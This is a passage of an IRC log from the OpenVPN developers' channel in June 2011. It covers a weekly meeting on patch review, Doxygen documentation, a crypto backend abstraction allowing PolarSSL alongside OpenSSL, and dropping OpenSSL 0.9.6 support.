something to say about this 08:27 <@dazo> wow ... I thought it had some more recent minor releases 08:27 <@dazo> yeah, I expect so 08:27 <@dazo> however, when 2.1 beta started ... that was back in 2005, so at that time it made sense to provide support for 0.9.6 08:28 <@dazo> but agreed, unless james convinces me .... I say, kick out 0.9.6 08:32 <@mattock> dazo: I'll make the patch use regexp tomorrow and send it to ml 08:34 <@dazo> mattock: thx! 08:48 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 09:07 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 09:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:14 -!- You're now known as _torch_n_rope_ 09:14 -!- You're now known as ecrist 09:20 -!- beshoo [~linada@184.107.41.100] has joined #openvpn-devel 09:20 < beshoo> hi all 09:20 < beshoo> whrw can i download openvpn which has no user limit 09:20 < beshoo> wher * 09:22 <+ecrist> wrong channel 09:22 < beshoo> mmmmm 09:22 < beshoo> i am sorry 09:22 < beshoo> where i have to go ? 09:22 < andj> #openvpn 09:26 < beshoo> thank you 09:31 -!- beshoo [~linada@184.107.41.100] has quit [Ping timeout: 260 seconds] 09:31 < andj> there's a version with a user limit? 09:52 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 09:53 <+ecrist> access server. 09:53 <+ecrist> the commercial product 09:53 < andj> ah, right 09:53 <+ecrist> they have an official channel and forum now 09:53 <+ecrist> !as 09:53 <+ecrist> raar 09:53 <+ecrist> #openvpn-as 09:54 < andj> hmm, not too happy with the way some of my SSL patches are applying 09:54 < andj> lots of merge work 09:54 < andj> thanks to the new private key code 09:54 < andj> and some extra verification stuff 09:57 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 10:18 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 11:02 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:34 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:18 -!- dazo is now known as dazo_afk 12:30 -!- krzie [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 12:30 -!- mode/#openvpn-devel [+v krzie] by ChanServ 12:35 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 13:14 -!- equinox [~equinox@spaceboyz.net] has quit [Quit: leaving] 13:18 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:23 <@vpnHelper> RSS Update - tickets: #146: mute option has no effect <https://community.openvpn.net/openvpn/ticket/146> 15:35 <@vpnHelper> RSS Update - tickets: #147: IPv6 errors on server side <https://community.openvpn.net/openvpn/ticket/147> 15:39 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:31 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 17:51 -!- s7r [~s7r@unaffiliated/s7r] has quit [Quit: Leaving.] 18:45 -!- raidz_afk [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 18:46 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 18:46 -!- mode/#openvpn-devel [+o raidz] by ChanServ 19:27 -!- raidz is now known as raidz_afk 22:07 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 22:07 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 22:07 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:25 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 244 seconds] 23:23 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:23 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Thu Jun 30 2011 02:29 < andj> Hi everyone 02:29 < andj> Somewhere later today 02:29 < andj> I'm going to send out quite a big set of patches 02:30 < andj> would you prefer lots of mail, with separate patches, or a tarball? 02:34 <@mattock> andj: how many patches? 02:34 <@mattock> do they apply on top of the previous ones? 02:35 < andj> 45-50, and yes 02:35 < andj> :) 02:36 <@mattock> oh 02:36 <@mattock> I wonder if we should try to merge your earlier ones first... any changes might propagate to your next patchset 02:37 <@mattock> maybe a tarball "preview" would be better for now 02:38 < andj> I'm working on these this week though, and hope to have all the old patches fixed up for 2.3 02:39 < andj> so I'd prefer to hand them in now, and make changes on top of the whole patchset 02:39 < andj> but I'm not sure if that's a workflow you would agree with? 02:40 <@mattock> that's fine... I'm just worried that 50 patches means lots of emails :) 02:41 <@mattock> can you put them somewhere and mail a link to them? 02:41 < andj> They're all part of the same thread, but I can send them in a tarball too, whatever you guys prefer :) 02:41 <@mattock> let's wait and see if dazo has an opinion :) 02:41 < andj> good idea :) 02:42 < andj> Most of the patches are pretty straightforward though, just simple refactorings that don't change behaviour 02:44 <@mattock> ok, that makes ACKing them easier 02:44 <@mattock> can you attend the meeting today? 02:45 < andj> Yeah, I'm going to try, if I get home on time 02:46 <@mattock> that'd be great! 02:46 <@mattock> I feel the meeting will take at least 2 hours, if not more 02:46 <@mattock> so much to cover 02:50 < andj> If you want to cover all of our patches, yeah :) 02:51 <@mattock> are the patches well isolated from each other? In other words, can they added individually while still have functional OpenVPN? 02:52 < andj> yes, but they're best applied in batches 02:52 < andj> I just found a minor bug in the management code 02:52 < andj> if you use external key addition 02:53 < andj> loading I mean 02:53 < andj> and do not specify a certificate file (or inline certificate) 02:53 < andj> OpenVPN crashes on a failed assertion 02:53 <@mattock> oh, that's nasty 02:53 <@mattock> is the fix trivial? 02:53 < andj> I'll see if I can send in a patch 02:53 <@mattock> that'd be great! 02:54 <@mattock> btw. James will attend the meeting, too 02:54 < andj> That'll be after porting though :) 02:54 < andj> ah, good news 02:54 <@mattock> so I'm sure we manage to merge at least some of your patches 02:54 <@mattock> you'll probably become the #1 contributor to OpenVPN this year :P 02:55 <@mattock> at least as far as patch count 02:55 < andj> haha, might be 02:55 < andj> I've tried to keep patches relatively small though 02:55 < andj> for the refactoring 02:55 <@mattock> better that way, easier to ACK/NACK 02:55 < andj> to keep things readable, and increase the ease of ACK/NACK 02:55 < andj> (indeed) 03:20 * cron2 needs to re-send his IPv6 payload stuff as individual patches :) 03:22 < andj> :) 04:40 < andj> anyone know why x509_username_field is global? 04:41 < andj> isn't it better to just initialise the tls_options version of x509_username_field with a sane default? 04:41 < andj> * in ssl.c 05:19 -!- raidz_afk [~Administr@openvpn/corp/admin/andrew] has quit [Read error: Connection reset by peer] 05:43 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Remote host closed the connection] 05:45 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:45 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 07:24 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 07:31 -!- s7r [~s7r@unaffiliated/s7r] has quit [Read error: Connection reset by peer] 08:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 08:50 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:11 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:23 <+krzie> mattock, you have 2 people in #openvpn-as 09:44 <+krzee> Thu Jun 30 14:02:55 2011 us=793481 OpenVPN 2.2.0 i486-linux-gnu [SSL] [LZO2] [EPOLL] [PKCS11] [eurephia] [MH] [PF_INET6] [IPv6 payload 20110424-2 (2.2RC2)] built on Jun 16 2011 09:44 <+krzee> Thu Jun 30 14:02:55 2011 us=793726 IMPORTANT: OpenVPN's default port number is now 1194, based on an official port number assignment by IANA. OpenVPN 2.0-beta16 and earlier used 5000 as the default port. 09:44 <+krzee> Thu Jun 30 14:02:55 2011 us=793754 NOTE: OpenVPN 2.1 requires '--script-security 2' or higher to call user-defined scripts or executables 09:45 * krzee notes that in 3 lines it mentions 3 versions of openvpn 09:45 <@cron2> indeed, we should drop the 2.0 / port number stuff 09:46 <@cron2> didn't dazo improve the script-security stuff? 09:47 <+krzee> noclu 09:59 <@mattock> krzee: hmm, let's check that out 10:03 <@mattock> krzee: you mean 2 people, or 2 people having issues? 10:11 <@mattock> krzee: all control now, thanks! 10:11 <+krzie> =] np 10:11 -!- raidz [~Administr@openvpn/corp/admin/andrew] has joined #openvpn-devel 10:11 -!- mode/#openvpn-devel [+o raidz] by ChanServ 10:34 -!- dazo_afk is now known as dazo 10:40 <@dazo> mattock: andj: I see no issues with plenty of patches ... but it begins to look like if andj could provide a git tree somewhere people could pull, that could simplify things somewhat ... 10:41 <@dazo> but I'm really not afraid of the amount of mails ... it makes it easier to comment patches separately 10:41 < andj> This is the last large batch 10:41 < andj> the rest is a lot simpler, and adds polarssl 10:43 <@dazo> andj: I haven't had time to look closely at your patches yet, I'm sorry about that ... but looking forward to dig deeper into this 10:43 * dazo hopes next week can be more promising ... completed my moving process today 10:44 < andj> no problem, I just want to get them out to you guys now, since I've got some time reservered for that at work 10:44 <@dazo> that's awesome :) 10:46 <@dazo> andj: one thing regarding the patch numbering ... please for each batch, start on 0 or 1 ... it makes it easier to see the relation 10:47 <@dazo> the cover-page can rather state it is a continuation or depending on patches from "series xyz..." 10:48 < andj> That shouldn't be a problem 10:48 <@dazo> thx! 10:50 < andj> There is some dependency between all of them though, since it's mostly refactorings on refactorings 10:53 <@dazo> ugh ... I hope the patches itself applies cleanly to the master branch, though ... 10:54 < andj> they're based on the master branch, but in the order specified 10:54 <@dazo> yeah, that's fine enough ... that makes a lot of sense 11:05 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:06 < andj> I'm off, see you at the meeting 11:34 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 11:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:28 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has joined #openvpn-devel 12:28 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:00 <@mattock> meeting time... 13:00 <@mattock> everybody ready? 13:00 < andj> yup 13:01 <@cron2> ay 13:01 <@mattock> topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2011-06-30 13:01 <@vpnHelper> Title: Topics-2011-06-30 – OpenVPN Community (at community.openvpn.net) 13:02 <@mattock> dazo, jamesyonan: there? 13:02 <@jamesyonan> hi 13:02 <@dazo> uhh ... it's time already ... 13:02 <@dazo> hours fly quickly today 13:03 <@mattock> yep 13:03 <@mattock> :) 13:03 <@mattock> could we begin with my patches, so that we can get 2.2.1 out of the door? :P 13:03 -!- dazo is now known as dazo_afk 13:04 <@cron2> dazo just ran away 13:04 <@mattock> those related to Trac ticket #125 13:04 <@mattock> yeah 13:04 <@mattock> any comments on those? 13:04 <@mattock> they've been tested on Windows XP, Ubuntu 11.04 (openssl 0.9.8) and Fedora 15 (openssl 1.0.0) 13:05 <@mattock> and also less extensively on FreeBSD 13:06 * cron2 doesn't really understand the fine details of easy-rsa 2.0, but on a cursory glance, the patches look fine to me 13:06 -!- dazo_afk is now known as dazo 13:06 <@cron2> and if it has been tested :) on XP and "some sort of Unix", I think that's good enough for me 13:06 <@mattock> jamesyonan: any comments on the easy-rsa patches? 13:07 <@jamesyonan> they look pretty reasonable 13:07 <@mattock> cron2: yes, the only potential problem I see is the usage of "grep -E" and GNU grep -style regexps 13:07 <@mattock> although FreeBSD seemed to use GNU grep by default 13:07 <@mattock> not sure about openbsd and such 13:08 <@dazo> mattock: according to the (Fedora) man page ... -E should be POSIX compliant 13:08 <@mattock> dazo: ok, then it's all good 13:08 <@mattock> next topic? two ACKs were given already 13:09 <@mattock> I would suggest another quickie, namely OpenSSL 0.9.6 support 13:09 <@dazo> okay, I'll give james and cron2 the blame for the ACKs in the commit log ;-) 13:09 <@mattock> dazo: good thinking :) 13:09 <@dazo> let's rip that support out ... that's my vote 13:09 <@cron2> well, one could just do "fgrep '0.9.6'" here, but hey, if OpenBSD can't do -E, I don't care 13:09 < andj> What esoteric embedded systems still use OpenSSL 0.9.6? 13:09 <@cron2> dazo: +1 13:09 <@mattock> jamesyonan: what's your take on this? 13:09 <@mattock> I vote for scrapping all 0.9.6 -related code 13:10 <@jamesyonan> I'd tend to agree that we don't need it 13:10 < andj> The 0.9.6 support is less of a problem with my patches though 13:10 < andj> as it's all localised 13:10 <@dazo> http://www.fpaste.org/t4Z2/ 13:10 <@jamesyonan> even RHEL 4 uses 0.9.7 13:10 <@dazo> (my paste is: git grep 0.9.6 13:10 <@dazo> ) 13:11 < andj> Could we remove it after my patches have been applied though :) 13:11 <@mattock> and mine :P 13:11 < andj> rebasing would not be that cool :) 13:11 <@cron2> nah that would be too easy 13:11 <@dazo> andj: sounds fair enough :) 13:11 <@cron2> *duck&run* 13:11 <@dazo> hehe 13:11 <@dazo> andj: cron2 just volunteered to do the rebase ;-) 13:11 < andj> hah 13:11 < andj> a 13:11 <@cron2> but yeah, leave it as it is for now, get andj's patches in, then drop 0.9.6 13:12 <@dazo> yeah, makes sense 13:12 <@cron2> (which implies "don't drop it in 2.2.x series", as the patches wouldn't be "just cherry-picking") 13:12 <@dazo> cron2: the cherry-picking could actually work out ... but no sense in doing that for 2.2.x, though 13:13 <@cron2> yeah, not in the middle of a release train "only bugfixes here" 13:13 <@cron2> 2.3 is cleanup + new features 13:13 <@dazo> it would probably complain about wrong offsets, but with rebase it tends to be more gentle 13:13 <@dazo> agreed 13:13 <@mattock> next topic? 13:13 <@mattock> (we got lots of stuff to cover) 13:14 <@dazo> Doxygen patches? 13:14 <@mattock> I'd say let's leave MinGW for the last, or skip it entirely 13:14 <@mattock> dazo: +1 13:14 <@mattock> jamesyonan: have you had time to review the doxygen patches? 13:14 <@dazo> I've not had too much time to look at it ... first of all, a publicly big thank you to andj for an enormous documentation work 13:15 <@cron2> let's cover mingw, but after the other stuff 13:15 < andj> doxygen is actually not directly mine, a colleague dit that, so if you credit anything, just credit Fox-IT :) 13:15 <@dazo> I'd like to have jamesyonan's eyes on the doxygen stuff, to make sure it is 100% correct ... 13:15 <@jamesyonan> do patches include any functional changes? 13:16 <@dazo> I think I spotted something ... but need to re-check that ... but it mostly doesn't do any feature stuff at all 13:16 < andj> It doesn't change anything functionally. some variables move around a little though 13:16 <@dazo> ahh, that's probably what I've seen 13:17 <@dazo> andj: your colleague wants to stay anonymous? 13:17 < andj> I'll ask him at work tomorrow :) 13:18 <@dazo> perfect! :) We'll need to highlight this in ChangeLog, so Fox-IT will also get credit too, 13:18 <@mattock> if there are no functional changes and the documentation is even "about right" I'd say ACK the whole set 13:19 <@mattock> I think documentation with occasional small errors is better than no documentation at all 13:19 <@dazo> mattock: whooo, not so fast ... it's good to review/check that the documentation is fairly correct as well .... silly if the documentation is wrong 13:19 <@mattock> yes, "fairly correct" sound good 13:19 <@mattock> :P 13:19 <@dazo> yeah, minor mistakes is fine :) 13:19 <@mattock> maybe "about right" was not the best expression 13:20 <@jamesyonan> the docs appear to be well-written, though I haven't digested all them yet 13:20 <@dazo> mattock: the openssl docs is "about right" ... which can be a hurdle to understand some times ;-) 13:20 <@mattock> ok, let's not go that route then 13:21 <@dazo> jamesyonan: would it be possible for you to allocate some time for a review? I'll try to get some work-time available for doing the same as well 13:21 < andj> Easiest is to just generate them, and read up... I'm pretty confident that they'll pass your judgment though :) 13:21 <@dazo> yeah 13:22 <@mattock> andj: what's the command to generate the documentation (in HTML)? 13:22 <@mattock> obviously doxygen is needed, but after that 13:22 < andj> you need both doxygen and dot 13:22 < andj> (from graphviz) 13:22 <@dazo> andj: any chance you're able to push your git tree to a public server? (http or git protocol) 13:22 <@jamesyonan> agreed that it makes sense for me to look at them in more detail -- but the quality looks very good 13:22 <@dazo> indeed! 13:22 < andj> then run doxygen doxygen/openvpn.doxyfile 13:23 <@mattock> ok, the standard process 13:23 <@mattock> dazo: I agree, fetching a Git tree would be more convenient 13:23 <@mattock> or even a tarball with the code 13:23 <@dazo> nah, I'll tackle mail easier than tarballs ... really :) 13:23 < andj> I'll see about pushing them to a public tree, I haven't got the source code handy right now, as I'm not at work :( 13:24 <@mattock> jamesyonan: are you confident enough to give the patchset an ACK? Or is more review needed? 13:24 <@dazo> andj: no worries, it just simplifies the merging ... if each of these steps you provide are separate branches ... that makes it even easier for me to work with ... but, let's see what you have first 13:25 <@jamesyonan> I'd like to do a closer reading before I ACK 13:25 <@mattock> ok 13:25 <@dazo> +1 13:25 < andj> It would be useful to apply it, as the patchset is the basis for the other patches, merging is difficult if you haven't got the doxygen 13:25 <@dazo> mattock: when doxygen is accepted ... could buildbot automatically build doxygen docs and publish it? 13:26 <@mattock> dazo: yes 13:26 <@dazo> that'd be awesome! 13:26 <@mattock> although it would be waste of resources... no need to test that doxygen works on n different platforms :) 13:26 <@mattock> I think it's easier to automated docs creation usings scripts 13:26 < andj> Separate job for a single platform? :) 13:27 <@mattock> yep 13:27 <@dazo> mattock: well, I meant that each push to the git tree would update the docs published 13:27 <@cron2> that would indeed be nice 13:28 <@mattock> dazo: if we want near real-time docs publishing then I can create a separate buildfactory which runs on one platform 13:28 <@mattock> and publishes the doxygen documentation 13:28 <@mattock> or just run something from cron and get nearly the same results... but in either case, it's very doable 13:28 <@dazo> and I'm even thinking that (when this is applied), all new patches *must* have proper documentation in place as a ACK criteria, for all new functions/structs/etc or change of behaviour in such 13:29 <@mattock> dazo: +1 13:29 <@dazo> mattock: that makes sense 13:29 <@cron2> -1 13:29 < andj> doxygen is mdi-level though, doesn't cover every function 13:29 < andj> *mdi=mid 13:29 <@dazo> yeah, true enough ... but as much as possible should be documented 13:29 < andj> it's pretty detailed, but mostly aimed at quickly understanding the code base 13:29 < andj> And not being exhaustive 13:30 <@dazo> cron2: why -1? afraid you need to do a lot of updates? 13:30 <@cron2> forcing doxygen to people that have never done any work with it but just want to contribute something minor is overkill 13:30 <@cron2> to add meaningful documentation would mean "understand how the existing documentation works", not only "understand the code" 13:30 < andj> Changing any existing affected doxygen is important though 13:31 <@cron2> yes, sure, but I was thinking of "new stuff that has no doxygen docs yet" 13:31 <@mattock> cron2: we could just require that the patch author writes the documentation (in some format) and convert it to doxygen ourselves 13:31 <@cron2> that would be fine 13:31 <@dazo> well, good documentation in the code is the goal .... doxygen documentation is fairly simple ... so that the patch contributors document that "this new function xyz does abcde with arguments 1, 2 and 3" 13:32 <@cron2> well, let's discuss that when we have the first batch in and see how it works out 13:32 <@mattock> +1 13:33 < andj> ok, shall I walk you through patches 10 and 11, to give you a quick picture of what they look like? 13:33 <@mattock> I think setting a deadline for Doxygen patchset review would make sense 13:33 <@dazo> well, doxygen docs is mostly done *inline* in the C code ... that's the neat thing about it .... so you document it while writing the functions/structs/whatever .... so it makes the C code more understandable ... and can create great HTML docs from the C code 13:33 <@mattock> next Thursday? 13:33 <@cron2> andj: I've looked at it, and it seems not to be too complicated - but I'm wary of putting up too much hurdles for new contributors. It's not like we're overrun with volunteers. 13:33 <@dazo> mattock: too early ... I think I'd need more time 13:34 <@mattock> dazo: ok 13:34 <@mattock> two weeks? 13:34 <@dazo> yeah, that makes more sense .... jamesyonan? 13:34 * cron2 won't be available next Thursday anyway, so 2 weeks sounds good :) 13:34 < andj> Is it a problem to include it in the mainline earlier, and patching up problems as we go? 13:35 <@mattock> andj: I don't think so, as long as we do the reviewing (in two weeks) and fix the issues 13:35 <@mattock> dazo: what's your take? 13:35 <@cron2> well, if dazo has no time, nothing happens to the tree anyway 13:35 <@jamesyonan> yes, I can review by then 13:35 <@dazo> andj: not at all ... we can have a goal of trying to accept half of the patches by next Thursday ACKed ... and the second half the following week 13:36 < andj> ok, that's fine 13:36 <@mattock> next patchset? 13:36 <@cron2> that's the crypto refactoring 13:36 <@dazo> yeah 13:36 <@jamesyonan> it's a good discussion on to what extent contributors need to contribute more than just code to be accepted -- some projects even require that unit tests be contributed as well 13:37 <@mattock> for example buildbot... unit tests + documentation 13:37 < andj> I actually tried unittests on OpenVPN at first 13:37 <@cron2> like "anybody but me has provided test code recently"... :-) 13:37 < andj> but it was alittle though 13:38 <@dazo> I can imagine that's tough .... 13:38 < andj> as everything is interconnected through error.h and a few others 13:38 <@cron2> jamesyonan: but yes, I understand your side. It's a balance thing between stagnation and chaos. 13:38 * cron2 still needs to do t_server.sh 13:38 <@dazo> +1 13:39 <@cron2> but that's sidetrackign 13:39 <@dazo> I like the idea of having unit tests available too ... but that needs more refactoring of the code, I think ... and we need to get a decent framework for it in place 13:39 <@cron2> dazo: yeah 13:40 <@dazo> mattock: what about having such a discussion in a later meeting? ("what must contributors provide to get ACKed quickly and neatly") 13:40 <@mattock> dazo: sounds good 13:40 <@cron2> back to the refactoring patches - skimming through the mails, it looked halfway sane to me. But then, I do not understand any of the crypto stuff, so I might be overlooking something. 13:40 * dazo suggests some time in August 13:40 <@mattock> dazo: again, sounds good :) 13:40 < andj> The goal of that patchset is to create a neat crypto API as defined in ssl_backend.h, which can be used by the other modules. The first patch (#10) adds configure support, the rest is refactoring 13:41 * cron2 understood that bit :) 13:41 < andj> rand_bytes() in #11 is as simple as it gets 13:41 <@dazo> so basically this patchset doesn't change any features ... it just adds a glue layer like: openvpn code base :: crypto API :: OpenSSL 13:41 <@dazo> ? 13:41 <@cron2> yes 13:42 < andj> yeah, a pretty thin layer, but it allows another backend to be used. 13:42 < andj> There's a few important files: 13:42 < andj> crypto_backend.h - API definition 13:43 < andj> crypto_openssl.c - implementation using OpenSSL 13:43 <@cron2> I'm a bit unhappy with #18 13:43 <@cron2> - des_cblock key1, key2, key3; 13:43 <@jamesyonan> andj: what's the motivation for using something other than OpenSSL? code size? 13:43 <@cron2> + unsigned char key1[8], key2[8], key3[8]; 13:43 < andj> jamesyonen: codesize, and evaluation-readiness 13:44 < andj> it's a lot easier to evaluate a smaller crypto library 13:44 <@cron2> andj: this sort of introduces magic numbers "char key[8]" is something I find less obvious than "des_key_block key1", to be honest 13:44 < andj> point taken, I can add DES_KEY_LENGTH? 13:44 < andj> as a define 13:45 <@cron2> what's the reason for going away from a typedef? 13:45 <@cron2> since we're not accessing individual elements of the array here, nobody needs to know what type is "under the hood" 13:45 < andj> Mostly it was moving away from a des-specific key type 13:45 < andj> to a universal key-type 13:45 <@cron2> mmh 13:46 * cron2 likes opaque typedefs for things that I don't want to see the insides of 13:46 <@cron2> but maybe that's just me :) 13:47 < andj> both sides work for this, having a key just being a byte array matches the rest of OpenSSL more closely 13:47 <@dazo> cron2++ 13:48 <@mattock> jamesyonan: any comments on these patches? 13:48 <@dazo> I agree, if we can do things opaque for readability of the generic stuff ... that makes a lot of sense to me ... like typedef stuff which don't need to be explicit 13:49 <@dazo> those parts which needs these details, will anyway need to deal with it ... and then it might even improve understanding of the code, with proper typedef's 13:50 <@mattock> I personally like the idea of abstracting the SSL functionality... makes the code more modular and thus flexible 13:50 < andj> OK, I'll create a patch that adds a des_keytype, aes_keytype, etc? 13:50 <@cron2> mattock: you are aware that this will double the amount of buildbot runs you need to do? :-) 13:50 <@mattock> cron2: now you're telling me :) 13:50 <@dazo> yeah, and these patches does that ... it's just that we can probably make things even better :) 13:50 <@cron2> andj: it would help *me* reading the code 13:51 * dazo too 13:51 <@mattock> besides this one issue, can the patchset be given an ACK? 13:52 <@cron2> mmmh, the patches actually follow the generic coding conventions more closely than the original code :-) 13:52 < andj> I tried to clean up where I could :) 13:53 < andj> there were some debris lying around from past patches, especially in the ssl separation patches 13:53 <@jamesyonan> andj: what about generic OpenSSL objects that are not directly crypto-related, like BIOs 13:54 < andj> Not in there, as PolarSSL doesn't use them. Most of the loading is "cipher_load_key_file(***)" like 13:54 < andj> abstracting away from how the underlying library actually works 13:55 < andj> For SSL there are PolarSSL-specific bio types 13:55 < andj> but they are only related to the streams, and not file reading, etc. 13:56 <@mattock> andj: so everything OpenSSL does in OpenVPN is also covered by PolarSSL? 13:56 < andj> Almost... CryptoAPI support is not there 13:57 < andj> and a few small other things. I can give you a more detailed list tomorrow if you want 13:57 <@jamesyonan> right, but OpenSSL uses BIOs to make it easy for a function that accepts, say a certificate in a file, to also accept the cert in a string -- hence the ability of BIOs to work with files as well 13:57 < andj> I know, and I like the feature, but unfortunately PolarSSL doesn't understand the concept 13:57 < andj> and other SSL libs might not either 13:58 < andj> which is why the concept isn't used in the backend API, and hidden from OpenVPN 13:58 <@jamesyonan> Re: CryptoAPI, there's actually three different cases where OpenVPN uses RSA offloading -- CryptoAPI, pkcs-11 connector, and management-external-key 13:59 < Essobi> Is Polar FIPS compliant? :)) 13:59 < andj> management external key I'm working on atm, not sure if I'll implement that for PolarSSL 13:59 < andj> Essobi: no, but the dutch government is evaluating it for the approved version of OpenVPN 13:59 <@dazo> andj: would it make sense to have that kind of support in the API ... but where not supported by the backends, it's either "worked around" some how, or kind of returning a "FEATURE_NOT_SUPPORTED" error, somehow? 14:00 < andj> dazo: at the moment I'm thinking of handling that sort of thing in configure 14:00 <@mattock> we can always document these missing features with "Not supported by backend X" 14:00 < andj> pkcs11 support is there with PolarSSL 14:01 < andj> Anyway, most of the feature you would expect are there in Polar 14:01 <@jamesyonan> can PolarSSL handle "split-CA" where the root CA for client certs is different than the root CA for server certs? 14:02 < andj> I think so 14:02 < andj> let me check 14:02 <@jamesyonan> management-external-key is fairly important to support arbitrary key stores 14:03 <@jamesyonan> like in the Access Server we use it to interoperate with the Mac OS X keychain 14:03 < andj> that's why I'm working on it, I'll see if I can fit it into PolarSSL :) 14:03 < andj> It is supported in OpenSSL though, so the patches don't break anything 14:04 <@mattock> so, can we accept the patchset with the changes proposed by cron2? 14:04 < Essobi> andj: :| Doesn't mean much to me then. :( 14:04 < Essobi> andj: I just deployed 800 vpns where FIPS is required. 14:05 <@mattock> ...and wait for further patches (e.g. management-key-external) from andj 14:05 < andj> FIPS isn't a big deal in most of Europe, as most countries are a little stricter 14:05 <@dazo> mattock: again, you're pushing it a bit too hard for an ACK ... it needs more review as well ... just glaring at some of ~20 patches isn't good enough, IMO 14:05 < andj> management-key-external is part of SSL-separation and not crypto-separation 14:06 <@jamesyonan> SSL-separation might be somewhat trickier than crypto-separation 14:06 < andj> it is 14:07 < andj> believe me, it was :) 14:07 <@cron2> mattock: someone who understands the crypto needs to look through it, with some brains and some time. 14:07 <@cron2> mattock: I haven't seen any obvious show-stoppers, but that's only enough for "not giving a NAK", but I don't feel fully qualified to give an ACK here. 14:07 < andj> jamesyonan: I'm pretty happy about the result of the SSL separation though. Verification is split out pretty clearly, the x509 stuff is in a separate moduel 14:08 <@mattock> cron2, dazo: sounds reasonable... I just wouldn't want these patches to left lying around for too long... 14:08 <@dazo> agreed! 14:08 <@mattock> and I fear patchsets this large do have that tendency... 14:08 <@dazo> these ones, needs attention ... and every day I see "32 unread mails" in my openvpn-devel folder :) 14:09 <@dazo> I have it like this on purpose ... to be reminded everytime I look at the mail 14:09 < andj> jamesyonan: PolarSSL supports separate ca's for server and client 14:09 < andj> dazo: want another 50? :) 14:09 <@mattock> jamesyonan: could you review these patches in more detail? 14:09 <@jamesyonan> andj: so PolarSSL can enumerate X509 attributes in certs? 14:09 <@dazo> andj: my mailbox can handle more ;-) 14:10 <@cron2> mattock: well, you could become a crypto export and ACK them :) 14:10 <@mattock> cron2: I could, if I had the time :) 14:10 < andj> jamesyonan: I'm not following, what do you mean? 14:11 <@jamesyonan> I'm thinking of stuff like extract_x509_field_ssl in ssl.c 14:11 < andj> http://polarssl.org/apidoc/x509parse_8c.html :) 14:11 <@vpnHelper> Title: PolarSSL v0.99-pre5: x509parse.c File Reference - PolarSSL (at polarssl.org) 14:12 <@jamesyonan> does it handle x509v3 attributes? 14:12 <@jamesyonan> like extendedKeyUsage? 14:12 < andj> yeah, it does 14:13 < andj> there's a x509_get_ext_key_usage() function for that :) 14:13 <@dazo> jamesyonan: http://en.wikipedia.org/wiki/Comparison_of_TLS_Implementations ... does this one help? 14:13 <@vpnHelper> Title: Comparison of TLS Implementations - Wikipedia, the free encyclopedia (at en.wikipedia.org) 14:14 < andj> I can even point out the source: http://polarssl.org/apidoc/x509parse_8c_source.html#l00887 14:14 <@vpnHelper> Title: PolarSSL v0.99-pre5: x509parse.c Source File - PolarSSL (at polarssl.org) 14:14 < andj> Little outdated, that Comparison... PolarSSL 0.99 has my PKCS#11 module in it :) 14:14 <@jamesyonan> does it abstract out x509 cert verification from the SSL/TLS negotiation, so cert verification can be done separately from SSL/TLS -- this is useful for verifying signatures 14:15 < andj> jamesyonan: yeah, I added support to PolarSSL for that 14:15 < andj> Shall we move on to the 4th patchset then, the SSL separation ones? 14:16 < andj> if there's no more about crypto? 14:16 < Essobi> andj: Yea.. but in North America... it's mandated by law, for FIPS compliance. Even if it's MORE secure, doesn't matter, it's not audited and you can't use it. 14:17 < andj> Essobi: I know :) 14:17 <@jamesyonan> this is not really an OpenVPN issue, but one of the annoying things about OpenSSL is the monumental effort required to wrap it in high level languages like Python -- it would be great if PolarSSL objects and functionality could be fully exposed to high level languages 14:17 < Essobi> Just saying... *SHRUG* Good luck thou guys. 14:17 < andj> Essobi: yeah, I don't envy you :) 14:18 < andj> jamesyonan: don't know if it's been done, don't think so 14:18 <@jamesyonan> andj: does PolarSSL do DTLS? 14:18 < Essobi> As long as you guys don't toss out openssl all together, I'll be fine. 14:18 < andj> I spoke to the author a little while ago, and he was thinking about it 14:18 < andj> DTLS would be great :) 14:19 < andj> at the moment he's mostly gearing up to PolarSSL v1.0 with all the features required to run OpenVPN 14:19 < andj> 